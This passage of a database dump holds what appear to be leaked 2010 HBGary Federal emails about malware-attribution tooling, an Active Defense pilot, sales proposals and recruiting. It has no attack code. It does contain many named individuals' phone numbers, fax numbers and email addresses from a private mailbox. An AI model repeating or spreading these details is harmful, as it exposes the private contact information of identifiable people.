incident response is possible if implemented properly.\r\n\r\nThe one fly in the ointment is social media and location based services and the wanton release of PII.  I am not sure what we do about that.  We have developed a training program to educate people on uses and risks of social media, but other than education its a tough problem.  The web is evolving to the social web.  Not sure if you had seen a few recent articles on some mobile applications that were covertly collecting data by the companies that developed them.  They were implemented poorly, a well implemented social media application could collect an immense amount of data for legitimate purposes and we wouldn\'t be wise of the backend uses.  Scary. :)\r\n\r\n\r\n\r\n\r\nOn Aug 17, 2010, at 7:53 AM, Leibner, Lincoln D LTC MIL USA OSA wrote:\r\n\r\n> Aaron, while I have nothing substantive to offer you, I will strongly endorse your line of discovery. I have attached a recent piece by Huba Wass de Czege. He is a VERY well regarded Army strategist who has made a recent foray into cyber war that I think you might find useful. Cheers, Lincoln \r\n> \r\n> Lieutenant Colonel Lincoln Leibner\r\n> United States Army\r\n> Operations and Technology Office\r\n> 703-697-7131\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Monday, August 16, 2010 21:50\r\n> Subject: Re: Attribution\r\n> To: \"Leibner, Lincoln D LTC MIL USA OSA\" \r\n> \r\n> \r\n>> Lincoln,\r\n>> \r\n>> Thats ok. Thank you for considering it. We have had some success \r\n>> but I realize the difficulty with certain data sets. I think we \r\n>> are making some good progress on approaches to attribution. We \r\n>> are working closely with Palantir and EndGames to build datasets \r\n>> off of the malware clustering work we did.\r\n>> \r\n>> Look forward to seeing you at some of Brian\'s get togethers.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Aug 15, 2010, at 9:21 AM, Leibner, Lincoln D LTC MIL USA OSA wrote:\r\n>> \r\n>>> Aaron, I am sorry to say that after much thought, I am not sure \r\n>> how I can be of help on this project. Let me know if there is \r\n>> something specific that you think I can do to help however. ~ \r\n>> Lincoln \r\n>>> \r\n>>> Lieutenant Colonel Lincoln Leibner\r\n>>> United States Army\r\n>>> Operations and Technology Office\r\n>>> 703-697-7131\r\n>>> \r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr >> Date: Friday, July 16, 2010 22:27\r\n>>> Subject: Attribution\r\n>>> To: Aaron Barr >> \r\n>>> \r\n>>>> I am sending this request to a small group of individuals. Please \r\n>>>> do not forward this email to third parties. HBGary is working \r\n>>>> hard to help solve the attribution problem. We have developed a \r\n>>>> fingerprint tool which extracts toolmarks left behind in malware \r\n>>>> executables. We use these toolmarks to cluster exploits together \r\n>>>> which were compiled on the same computer system or development \r\n>>>> environment. Notice the clusters in the graphic below. These \r\n>>>> groupings illustrate the relationships between over 3000 malware \r\n>>>> samples.\r\n>>>> We need your help to further validate and improve the tool. \r\n>>>> Eventually you can imagine combining this data with open source \r\n>>>> and intelligence data. I can see attribution as potentially a \r\n>>>> solvable problem. We need your malware samples, as many as you \r\n>>>> can provide. This is not something we are looking to profit from \r\n>>>> directly, we will be giving this tool away at Blackhat, so helping \r\n>>>> us improve the tool will help the community beat back the threat. \r\n>>>> If possible please have your representative CISOs or cybersecurity \r\n>>>> personnel send malware samples in a password protected zip file. \r\n>>>> Provide the password via phone 719-510-8478 or fax to: 720-836-\r\n>>>> 4208 we need your samples as soon as possible. Samples provided \r\n>>>> will not be shared with third parties and your participation will \r\n>>>> be held in strict confidence.\r\n>>>> \r\n>>>> In exchange for your help, I will provide you with a summary \r\n>>>> report of our findings and you will have made a significant \r\n>>>> contribution to securing America\'s networks. \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>> \r\n> \r\n\r\n',3172,'aaron_hbgary_com/3172.html'),(10492,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008147.M177771P14101Q5347.eml','\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>','Re: Active Defense Pilot Question','Hey Brian,I have a question.  Do you know of any malware, IR, forensic, threat am cyber intel folks that you could funnel my way?  I have re/malware positions that need lifestyle and all those that only need TS.\r\nThanks,AaronSorry for the other day.  We got our wires crossed.  Won&#39;t happen again.Sent from my iPhoneOn Aug 17, 2010, at 3:24 PM, &quot;Christos, Brian N.&quot; &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nMaria,\r\n\r\nOk.  I’ll work with Charles.  Besides, if we had you ship a box it would take at least a month to get here due to our shipment processes.  \r\n\r\n\r\nOn 8/17/10 3:21 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi Brian\r\n \r\nRich is onsite at a secure DOE lab without Internet Connectivity.... In the meantime, I will forward your email to Charles in support and he can guide you through the Server Setup because it will take time and you want the environment setup correctly or it won&#39;t work.\r\n\r\n \r\nThe alternative is for us to ship out a Server and move the POC to another day...\r\nWhat number should Charles call you on?  Charles is at extension 103.\r\n \r\nMaria\r\nOn Tue, Aug 17, 2010 at 12:16 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nRich, \r\n\r\nIn prep for the pilot kick off on Thursday, I am setting aside a server and re-loading it with a new OS.  I heard from TSA that there maybe a 64bit type bug in Active Defense (or some component of AD).  If so, should I just load the box with 2008 32bit?\r\n\r\n\r\nThanks,\r\n\r\nBrian \r\n\r\nOn 8/4/10 10:46 AM, &quot;Aaron barr&quot; &lt;aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; wrote:\r\n\r\n\r\nHere u go.\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;ted@hbgary.com &lt;http://ted@hbgary.com&gt; &quot; &lt;ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt;\r\n\r\nTo: &quot;aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &quot; &lt;aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt;\r\n\r\nSubject: Active Defense 1.0 User Guide.pdf\r\n\r\nAttached: Active Defense 1.0 User Guide.pdf\r\nSent using Google Docs http://docs.google.com/ &lt;http://docs.google.com/&gt; \r\n\r\n\r\nUser manual\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7131,'aaron_hbgary_com/7131.html'),(10493,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008147.M409872P14101Q5348.eml','\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>','Re: Active Defense Pilot Question','Oh and soc mgt.TksAaronSent from my iPhoneOn Aug 17, 2010, at 3:24 PM, &quot;Christos, Brian N.&quot; &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nMaria,\r\n\r\nOk.  I’ll work with Charles.  Besides, if we had you ship a box it would take at least a month to get here due to our shipment processes.  \r\n\r\n\r\nOn 8/17/10 3:21 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi Brian\r\n \r\nRich is onsite at a secure DOE lab without Internet Connectivity.... In the meantime, I will forward your email to Charles in support and he can guide you through the Server Setup because it will take time and you want the environment setup correctly or it won&#39;t work.\r\n\r\n \r\nThe alternative is for us to ship out a Server and move the POC to another day...\r\nWhat number should Charles call you on?  Charles is at extension 103.\r\n \r\nMaria\r\nOn Tue, Aug 17, 2010 at 12:16 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nRich, \r\n\r\nIn prep for the pilot kick off on Thursday, I am setting aside a server and re-loading it with a new OS.  I heard from TSA that there maybe a 64bit type bug in Active Defense (or some component of AD).  If so, should I just load the box with 2008 32bit?\r\n\r\n\r\nThanks,\r\n\r\nBrian \r\n\r\nOn 8/4/10 10:46 AM, &quot;Aaron barr&quot; &lt;aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; wrote:\r\n\r\n\r\nHere u go.\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;ted@hbgary.com &lt;http://ted@hbgary.com&gt; &quot; &lt;ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt;\r\n\r\nTo: &quot;aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &quot; &lt;aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt;\r\n\r\nSubject: Active Defense 1.0 User Guide.pdf\r\n\r\nAttached: Active Defense 1.0 User Guide.pdf\r\nSent using Google Docs http://docs.google.com/ &lt;http://docs.google.com/&gt; \r\n\r\n\r\nUser manual\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9963,'aaron_hbgary_com/9963.html'),(10494,'2010-08-17','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008147.M659082P14101Q5349.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: I need help','feel free to call me tomorrow if you want to discuss.On Tue, Aug 17, 2010 at 6:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI just got off the phone with him.  I think I may have some sway for him to come lead one of my TSA areas.  TSA is not a leading edge SOC/Malware environment, so if he is decent it will be a good fit.\r\nThanks,AaronOn Aug 17, 2010, at 6:04 PM, Phil Wallisch wrote:\r\nBig fan of HB.  Not really a malware guy but seems to be a solid security mind.  Nice guy.On Tue, Aug 17, 2010 at 5:57 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nphil,what do you think of Philip Geneste?\r\n\r\nAaronOn Aug 17, 2010, at 5:56 PM, Phil Wallisch wrote:It&#39;s similar to the output I&#39;ve seen before from EndGames.  Yes this is what I expected.\r\n\r\nOn Tue, Aug 17, 2010 at 3:55 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nPhil\r\n \r\nIs this what you would have expected?  Not much there...\r\nOn Tue, Aug 17, 2010 at 12:35 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nNetblocks Searched:12.68.205.8;12.68.205.1512.184.10.64;12.184.10.95216.160.146.72;216.160.146.79\r\n\r\n\r\n\r\nResults:IP : 216.160.146.76Confidence : 10%Events : botnet|conficker a/b : Wed Sep  2 13:59:05 2009 GMT\r\n\r\n\r\nOn Tue, Aug 17, 2010 at 2:16 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; Can you run an EndGames report on DigitalGlobe and if it has good\r\n\r\n\r\n\r\n&gt; information you should be able to sell the End Games report...&gt;&gt; On Tue, Aug 17, 2010 at 11:30 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt;&gt;\r\n\r\n\r\n&gt;&gt; That&#39;s great Maria.  Mark and I will do anything we can to help.  As\r\n&gt;&gt; you mentioned, we&#39;re close to the customer, so we could help with&gt;&gt; install, etc..  Let us know how we can assist.&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt; On Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n&gt;&gt; &gt; DigitalGlobe needs a proposal that includes:&gt;&gt; &gt;&gt;&gt; &gt; 1 Active Defense 1,000 endpoints&gt;&gt; &gt;&gt;&gt; &gt; 2. Training  / Installation  / Server Requirements etc&gt;&gt; &gt;\r\n\r\n\r\n\r\n&gt;&gt; &gt; -- the goal is when we leave they will be white listed, trained on the&gt;&gt; &gt; software and have scanned the network and learned how to do triage&gt;&gt; &gt;&gt;&gt; &gt; 3. Pricing for services: RE and IDS signatures and Inoculations\r\n\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; We can&#39;t just sell them the software we need to sell them the solution&gt;&gt; &gt; and&gt;&gt; &gt; they have UNIX boxes that they are concerned about so some network&gt;&gt; &gt; monitoring and IDS should be recommended as well...  Rich mentioned\r\n\r\n\r\n\r\n&gt;&gt; &gt; Netwitness freeware, and IDS etc.  They are contacting Ted for the End&gt;&gt; &gt; Games&gt;&gt; &gt; service.&gt;&gt; &gt;&gt;&gt; &gt; So Mike/Phil you should help on what training they need\r\n\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; Joe you should help on what time is required to install and white list&gt;&gt; &gt; and&gt;&gt; &gt; get the basics accomplished.&gt;&gt; &gt;&gt;&gt; &gt; This is where I don&#39;t understand what is SE and what is Services\r\n\r\n\r\n\r\n&gt;&gt; &gt; work....&gt;&gt; &gt; fyi Ted lives in the area...&gt;&gt; &gt;&gt;&gt; &gt; Also, do they need to buy Responder Pro?  They are thinking to buy it&gt;&gt; &gt; next&gt;&gt; &gt; year and get trained on it then.  Do they need some Responder Pro\r\n\r\n\r\n\r\n&gt;&gt; &gt; experience&gt;&gt; &gt; for Triage?&gt;&gt; &gt;&gt;&gt; &gt; I really need help tomorrow and to get this out ASAP&gt;&gt; &gt;&gt;&gt; &gt; Maria&gt;&gt; &gt;&gt;&gt; &gt; --\r\n\r\n\r\n\r\n&gt;&gt; &gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; &gt;&gt;&gt; &gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:&gt;&gt; &gt; 240-396-5971&gt;&gt; &gt; email: maria@hbgary.com\r\n\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --&gt;&gt; Ted Vera  |  President  |  HBGary Federal&gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n\r\n\r\n\r\n&gt;&gt; www.hbgary.com  |  ted@hbgary.com&gt;&gt;&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\n\r\n\r\n&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: maria@hbgary.com&gt;&gt;&gt;&gt;\r\n\r\n\r\n--\r\n\r\n\r\n\r\nTed Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\n\r\nemail: maria@hbgary.com \r\n  \r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',11097,'aaron_hbgary_com/11097.html'),(10495,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008147.M867199P14101Q5350.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: I need help','Will do thanks.AaronSent from my iPadOn Aug 17, 2010, at 7:26 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nfeel free to call me tomorrow if you want to discuss.On Tue, Aug 17, 2010 at 6:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nI just got off the phone with him.  I think I may have some sway for him to come lead one of my TSA areas.  TSA is not a leading edge SOC/Malware environment, so if he is decent it will be a good fit.\r\n\r\nThanks,AaronOn Aug 17, 2010, at 6:04 PM, Phil Wallisch wrote:\r\n\r\nBig fan of HB.  Not really a malware guy but seems to be a solid security mind.  Nice guy.On Tue, Aug 17, 2010 at 5:57 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nphil,what do you think of Philip Geneste?\r\n\r\n\r\nAaronOn Aug 17, 2010, at 5:56 PM, Phil Wallisch wrote:It&#39;s similar to the output I&#39;ve seen before from EndGames.  Yes this is what I expected.\r\n\r\n\r\nOn Tue, Aug 17, 2010 at 3:55 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nPhil\r\n \r\nIs this what you would have expected?  Not much there...\r\nOn Tue, Aug 17, 2010 at 12:35 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nNetblocks Searched:12.68.205.8;12.68.205.1512.184.10.64;12.184.10.95216.160.146.72;216.160.146.79\r\n\r\n\r\n\r\n\r\nResults:IP : 216.160.146.76Confidence : 10%Events : botnet|conficker a/b : Wed Sep  2 13:59:05 2009 GMT\r\n\r\n\r\nOn Tue, Aug 17, 2010 at 2:16 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; Can you run an EndGames report on DigitalGlobe and if it has good\r\n\r\n\r\n\r\n\r\n&gt; information you should be able to sell the End Games report...&gt;&gt; On Tue, Aug 17, 2010 at 11:30 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n\r\n\r\n&gt;&gt; That&#39;s great Maria.  Mark and I will do anything we can to help.  As\r\n&gt;&gt; you mentioned, we&#39;re close to the customer, so we could help with&gt;&gt; install, etc..  Let us know how we can assist.&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt; On Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n&gt;&gt; &gt; DigitalGlobe needs a proposal that includes:&gt;&gt; &gt;&gt;&gt; &gt; 1 Active Defense 1,000 endpoints&gt;&gt; &gt;&gt;&gt; &gt; 2. Training  / Installation  / Server Requirements etc&gt;&gt; &gt;\r\n\r\n\r\n\r\n\r\n&gt;&gt; &gt; -- the goal is when we leave they will be white listed, trained on the&gt;&gt; &gt; software and have scanned the network and learned how to do triage&gt;&gt; &gt;&gt;&gt; &gt; 3. Pricing for services: RE and IDS signatures and Inoculations\r\n\r\n\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; We can&#39;t just sell them the software we need to sell them the solution&gt;&gt; &gt; and&gt;&gt; &gt; they have UNIX boxes that they are concerned about so some network&gt;&gt; &gt; monitoring and IDS should be recommended as well...  Rich mentioned\r\n\r\n\r\n\r\n\r\n&gt;&gt; &gt; Netwitness freeware, and IDS etc.  They are contacting Ted for the End&gt;&gt; &gt; Games&gt;&gt; &gt; service.&gt;&gt; &gt;&gt;&gt; &gt; So Mike/Phil you should help on what training they need\r\n\r\n\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; Joe you should help on what time is required to install and white list&gt;&gt; &gt; and&gt;&gt; &gt; get the basics accomplished.&gt;&gt; &gt;&gt;&gt; &gt; This is where I don&#39;t understand what is SE and what is Services\r\n\r\n\r\n\r\n\r\n&gt;&gt; &gt; work....&gt;&gt; &gt; fyi Ted lives in the area...&gt;&gt; &gt;&gt;&gt; &gt; Also, do they need to buy Responder Pro?  They are thinking to buy it&gt;&gt; &gt; next&gt;&gt; &gt; year and get trained on it then.  Do they need some Responder Pro\r\n\r\n\r\n\r\n\r\n&gt;&gt; &gt; experience&gt;&gt; &gt; for Triage?&gt;&gt; &gt;&gt;&gt; &gt; I really need help tomorrow and to get this out ASAP&gt;&gt; &gt;&gt;&gt; &gt; Maria&gt;&gt; &gt;&gt;&gt; &gt; --\r\n\r\n\r\n\r\n\r\n&gt;&gt; &gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; &gt;&gt;&gt; &gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:&gt;&gt; &gt; 240-396-5971&gt;&gt; &gt; email: maria@hbgary.com\r\n\r\n\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --&gt;&gt; Ted Vera  |  President  |  HBGary Federal&gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n\r\n\r\n\r\n\r\n&gt;&gt; www.hbgary.com  |  ted@hbgary.com\r\n&gt;&gt;&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\n\r\n\r\n&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: maria@hbgary.com&gt;\r\n&gt;&gt;&gt;\r\n\r\n\r\n--\r\n\r\n\r\n\r\nTed Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\n\r\n\r\nemail: maria@hbgary.com \r\n  \r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',9789,'aaron_hbgary_com/9789.html'),(10496,'2010-08-17','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297008148.M149743P14101Q5351.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FGet To Be Announced Wedn. August 18th','Hi Ted and Aaron, FGet will be formally announced tomorrow, Wedn. August 18th, so please be sure not to promote it via Twitter/Facebook, etc. until tomorrow morning. However,  it is available now via our Website. We decided to post it tonight so it is ready to go for early morning push to media. Please let me know if you have any questions. Best, Karen\r\n\r\n \r\nKaren Burke\r\nHBGary\r\n650-814-3764\r\n',13556,'aaron_hbgary_com/13556.html'),(10497,'2010-08-17','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008151.M172728P14101Q5352.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pic','\r\n\r\n',1458,'aaron_hbgary_com/1458.html'),(10498,'2010-08-18','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008153.M864870P14101Q5353.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Fingerprint','Aaron -\r\n\r\n	The part of the problem most interesting to me is the ability to\r\niteratively run the clustering algorithm - and inspect the results of each\r\ncluster - based on different filtered subsets of the complete database. So\r\nstarting with the complete set of fingerprint runs against the livebins\r\noutput would be best.\r\n\r\n	I\'d agree that automating the mathematical analysis piece isn\'t\r\ndirectly in Palantir\'s use case, but it\'s something we\'ve done before\r\nthrough the helper API\'s -- in particular, a social network graph analysis\r\nhelper that does the between-ness and closeness centrality calculations --\r\nfor a customer that had that type of data. \r\n\r\n	At lunch, you\'d mentioned wanting to explore changes in threats over\r\ntime; given that, I\'d think a workflow like this would be very useful to\r\nyou:\r\n\r\n1. Filter the set of fingerprints based on a particular characteristic --\r\nsay, malware with HTTPS exfil;\r\n2. Filter again by time -- say, compilation dates within the past three\r\nmonths;\r\n3. Use the yworks/edge-weight algorithm to cluster the filtered subset;\r\n4. Explore the resulting graph for \"interesting\" clusters -- recognizing\r\nthat \"interesting\" is a function of which fingerprint characteristics led to\r\nthe similarity;\r\n5. Try another set of filters.\r\n\r\n\r\n	Being able to iterate the clustering and spot-checking steps over\r\ndifferent subsets -- March vs. April, keyboard vs. file stealers, or other\r\ncharacteristics -- would be useful to validate the model (does changing the\r\ndate window wildly change the clusters?) as well as to provide some evidence\r\nof how the threat is changing.\r\n\r\n	And it\'s those iterative steps that the Palantir platform absolutely\r\nprovides the tools for -- I showed the interaction between object explorer\r\nand the graph to you at lunch, but for Ted & Mark, I\'ve attached a few\r\nscreenshots of how this histogramming & drill-down workflow could look,\r\nbased on a snort log-set that I\'ve been exploring. Scaling to 500,000\r\nfingerprint output files wouldn\'t be difficult at all.\r\n\r\n	If you\'d rather focus on a link-based analysis of one cluster, we\r\ncan try to start there. But I think a broader search has more potential to\r\nyield some cool new research results.\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 17, 2010 2:07 PM\r\nTo: Aaron Zollman\r\nCc: Matthew Steckman; Ted Vera; Mark Trynor\r\nSubject: Fingerprint\r\n\r\nAaron,\r\n\r\nI spoke with Greg and here is what we came up with.\r\n\r\nWe couldn\'t come up with a good use case for importing all of the\r\nFingerprint data since Palantir doesn\'t really deal with the math or\r\nclustering part of the tool.\r\n\r\nProcess:\r\nRun malware through TMC (volume malware processor) to generate Livebins.\r\nrun livebins through Fingerprint to get edge weight values\r\nGraph using yworks\r\nexport to XML label with malware id and cluster id\r\nimport into Palantir only specific clusters and build analysis of that.\r\n\r\nAaron\r\n',4681,'aaron_hbgary_com/4681.html'),(10499,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008154.M100267P14101Q5354.eml','deadensign@gmail.com','Question','Hey Mark,\r\n\r\nHows it going?\r\n\r\nI have a few questions for you.  I have some job openings to fill, and in the cybersecurity space its a tough order, and was wondering if you know anyone.\r\n\r\nI have RE positions in VA (full poly required)\r\nCyber/Intel/Malware Analysts in MD (full poly required)\r\n\r\nPositions for VA IA contract (TS Required):\r\nSOC Lead\r\nIR Lead\r\nForensics Lead\r\nCyber Intel Lead\r\nThreat MGT Lead\r\n\r\nThanks,\r\nAaron',2152,'aaron_hbgary_com/2152.html'),(10500,'2010-08-18','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297008154.M312498P14101Q5355.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Aaron,Thanks for your interest and yes I\'m familiar with HBGary. Our RE guys used it at my last customer site. &nbsp;I just left Symantec in April and jumped on with ArcSight which seems to be working out quite well. I\'ll keep your info handy and I\'m sure we\'ll bump into one another at some point in the near future. In the meantime, any interest in sharing your product and thoughts with the SecuraBit podcast? &nbsp;Let me know and I\'ll get a date that works best for you. We record every other Wednesday at 8pm and average roughly 5k downloads per show. &nbsp;Check out www.SecuraBit.com to see a list of prior guests.&nbsp;R/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.comCell: (540) 842-70195 Results WayCupertino, CA 95014www.ArcSight.comSent from my iPhone, please excuse typos.&nbsp;ArcSight Protect \'10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!On Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nAaron Barr has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/17/2010\r\n\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n\r\n\r\n  Hey Jason,\r\n\r\n\r\n\r\nThanks for accepting.  I am not sure if you know much about HBGary or HBGary Federal.  Leading HBGary Federal I am focused on improving cybersecurity leveraging key people, partnerships, technologies, and processes.  I am looking to fill some key positions and would like to discuss them with you if your interested, if not at this time, no problem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\n\r\n\r\nThank You,\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n',10423,'aaron_hbgary_com/10423.html'),(10501,'2010-08-18','\"Derrick Repep\" <drepep@comcast.net>','/aaron@hbgary.com/new/1297008154.M595899P14101Q5356.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n 